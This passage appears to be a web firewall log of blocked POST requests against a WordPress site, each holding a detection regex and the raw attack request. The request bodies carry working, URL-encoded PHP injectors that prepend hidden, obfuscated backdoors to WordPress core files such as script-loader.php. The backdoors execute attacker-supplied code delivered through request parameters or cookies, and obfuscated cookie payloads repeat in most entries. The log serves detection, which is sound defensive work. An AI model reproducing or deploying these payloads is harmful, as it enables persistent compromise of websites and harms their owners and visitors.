20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLJxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3256\n\nai=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:50","52.232.35.131","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Tu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIUHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4116\n\nTu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:53","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qa:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4116\n\nQa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:57","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4116\n\nkV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%